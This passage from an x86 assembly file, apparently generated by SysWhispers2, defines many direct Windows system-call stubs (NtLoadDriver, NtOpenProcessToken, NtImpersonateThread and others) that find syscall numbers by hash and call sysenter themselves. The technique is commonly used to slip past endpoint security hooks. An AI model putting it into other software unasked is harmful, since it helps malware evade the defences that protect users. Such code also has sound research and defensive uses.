call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtFreezeTransactions ENDP
NtGetCachedSigningLevel PROC
push ebp
mov ebp, esp
push 0A0AAC638h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetCachedSigningLevel ENDP
NtGetCompleteWnfStateSubscription PROC
push ebp
mov ebp, esp
push 0FFB4FD27h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetCompleteWnfStateSubscription ENDP
NtGetContextThread PROC
push ebp
mov ebp, esp
push 00228450Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetContextThread ENDP
NtGetCurrentProcessorNumber PROC
push ebp
mov ebp, esp
push 082A56FFFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetCurrentProcessorNumber ENDP
NtGetCurrentProcessorNumberEx PROC
push ebp
mov ebp, esp
push 0F75B0B2Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetCurrentProcessorNumberEx ENDP
NtGetDevicePowerState PROC
push ebp
mov ebp, esp
push 0CE55AEDEh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetDevicePowerState ENDP
NtGetMUIRegistryInfo PROC
push ebp
mov ebp, esp
push 01EBC5467h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetMUIRegistryInfo ENDP
NtGetNextProcess PROC
push ebp
mov ebp, esp
push 07DA81C3Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetNextProcess ENDP
NtGetNextThread PROC
push ebp
mov ebp, esp
push 0F45039F1h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetNextThread ENDP
NtGetNlsSectionPtr PROC
push ebp
mov ebp, esp
push 039EC2066h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetNlsSectionPtr ENDP
NtGetNotificationResourceManager PROC
push ebp
mov ebp, esp
push 0BA67C8ABh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetNotificationResourceManager ENDP
NtGetWriteWatch PROC
push ebp
mov ebp, esp
push 01CC6286Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 7h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtGetWriteWatch ENDP
NtImpersonateAnonymousToken PROC
push ebp
mov ebp, esp
push 0F15024EBh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtImpersonateAnonymousToken ENDP
NtImpersonateThread PROC
push ebp
mov ebp, esp
push 01EAA5B8Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtImpersonateThread ENDP
NtInitializeEnclave PROC
push ebp
mov ebp, esp
push 0A6BE8E3Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtInitializeEnclave ENDP
NtInitializeNlsFiles PROC
push ebp
mov ebp, esp
push 00D47DB04h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtInitializeNlsFiles ENDP
NtInitializeRegistry PROC
push ebp
mov ebp, esp
push 040DD7651h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtInitializeRegistry ENDP
NtInitiatePowerAction PROC
push ebp
mov ebp, esp
push 09C8AF25Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtInitiatePowerAction ENDP
NtIsSystemResumeAutomatic PROC
push ebp
mov ebp, esp
push 0FCFEE649h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtIsSystemResumeAutomatic ENDP
NtIsUILanguageComitted PROC
push ebp
mov ebp, esp
push 09BA3D91Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtIsUILanguageComitted ENDP
NtListenPort PROC
push ebp
mov ebp, esp
push 0523E57ACh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtListenPort ENDP
NtLoadDriver PROC
push ebp
mov ebp, esp
push 0917ECA53h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLoadDriver ENDP
NtLoadEnclaveData PROC
push ebp
mov ebp, esp
push 0B6CF43A2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLoadEnclaveData ENDP
NtLoadHotPatch PROC
push ebp
mov ebp, esp
push 03EE52A56h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLoadHotPatch ENDP
NtLoadKey PROC
push ebp
mov ebp, esp
push 0069BF5E0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLoadKey ENDP
NtLoadKey2 PROC
push ebp
mov ebp, esp
push 0E69DA08Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLoadKey2 ENDP
NtLoadKeyEx PROC
push ebp
mov ebp, esp
push 0557A8126h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLoadKeyEx ENDP
NtLockFile PROC
push ebp
mov ebp, esp
push 02F78CE3Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLockFile ENDP
NtLockProductActivationKeys PROC
push ebp
mov ebp, esp
push 02DB72826h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLockProductActivationKeys ENDP
NtLockRegistryKey PROC
push ebp
mov ebp, esp
push 04A6F358Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLockRegistryKey ENDP
NtLockVirtualMemory PROC
push ebp
mov ebp, esp
push 01D952B1Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtLockVirtualMemory ENDP
NtMakePermanentObject PROC
push ebp
mov ebp, esp
push 0BE925D8Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMakePermanentObject ENDP
NtMakeTemporaryObject PROC
push ebp
mov ebp, esp
push 01ABA220Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMakeTemporaryObject ENDP
NtManagePartition PROC
push ebp
mov ebp, esp
push 04C98084Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtManagePartition ENDP
NtMapCMFModule PROC
push ebp
mov ebp, esp
push 036BC2C38h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMapCMFModule ENDP
NtMapUserPhysicalPages PROC
push ebp
mov ebp, esp
push 085BC602Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMapUserPhysicalPages ENDP
NtMapViewOfSectionEx PROC
push ebp
mov ebp, esp
push 04093742Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtMapViewOfSectionEx ENDP
NtModifyBootEntry PROC
push ebp
mov ebp, esp
push 005AB0B3Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtModifyBootEntry ENDP
NtModifyDriverEntry PROC
push ebp
mov ebp, esp
push 00F872514h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtModifyDriverEntry ENDP
NtNotifyChangeDirectoryFile PROC
push ebp
mov ebp, esp
push 048EA5A42h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtNotifyChangeDirectoryFile ENDP
NtNotifyChangeDirectoryFileEx PROC
push ebp
mov ebp, esp
push 02AA9DCD7h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtNotifyChangeDirectoryFileEx ENDP
NtNotifyChangeKey PROC
push ebp
mov ebp, esp
push 09A8EB9D4h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 10h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtNotifyChangeKey ENDP
NtNotifyChangeMultipleKeys PROC
push ebp
mov ebp, esp
push 00F553C92h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 12h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtNotifyChangeMultipleKeys ENDP
NtNotifyChangeSession PROC
push ebp
mov ebp, esp
push 0278C7940h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtNotifyChangeSession ENDP
NtOpenEnlistment PROC
push ebp
mov ebp, esp
push 079E51BF3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenEnlistment ENDP
NtOpenEventPair PROC
push ebp
mov ebp, esp
push 01631DA63h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenEventPair ENDP
NtOpenIoCompletion PROC
push ebp
mov ebp, esp
push 0C88E885Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenIoCompletion ENDP
NtOpenJobObject PROC
push ebp
mov ebp, esp
push 00A26F94Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenJobObject ENDP
NtOpenKeyEx PROC
push ebp
mov ebp, esp
push 06D623BBDh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenKeyEx ENDP
NtOpenKeyTransacted PROC
push ebp
mov ebp, esp
push 056DF5460h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenKeyTransacted ENDP
NtOpenKeyTransactedEx PROC
push ebp
mov ebp, esp
push 062BD3666h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenKeyTransactedEx ENDP
NtOpenKeyedEvent PROC
push ebp
mov ebp, esp
push 0C803D790h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenKeyedEvent ENDP
NtOpenMutant PROC
push ebp
mov ebp, esp
push 05688591Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenMutant ENDP
NtOpenObjectAuditAlarm PROC
push ebp
mov ebp, esp
push 016898EA6h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 12h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenObjectAuditAlarm ENDP
NtOpenPartition PROC
push ebp
mov ebp, esp
push 036A01633h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenPartition ENDP
NtOpenPrivateNamespace PROC
push ebp
mov ebp, esp
push 0173FD413h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenPrivateNamespace ENDP
NtOpenProcessToken PROC
push ebp
mov ebp, esp
push 093A37BA6h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenProcessToken ENDP
NtOpenRegistryTransaction PROC
push ebp
mov ebp, esp
push 0FE57FEC5h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenRegistryTransaction ENDP
NtOpenResourceManager PROC
push ebp
mov ebp, esp
push 00AB2DE90h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenResourceManager ENDP
NtOpenSemaphore PROC
push ebp
mov ebp, esp
push 040AFA42Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenSemaphore ENDP
NtOpenSession PROC
push ebp
mov ebp, esp
push 09F317D64h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenSession ENDP
NtOpenSymbolicLinkObject PROC
push ebp
mov ebp, esp
push 0BC26445Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtOpenSymbolicLinkObject ENDP
NtOpenThread PROC
push ebp
mov ebp, esp
push 0A4783057h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
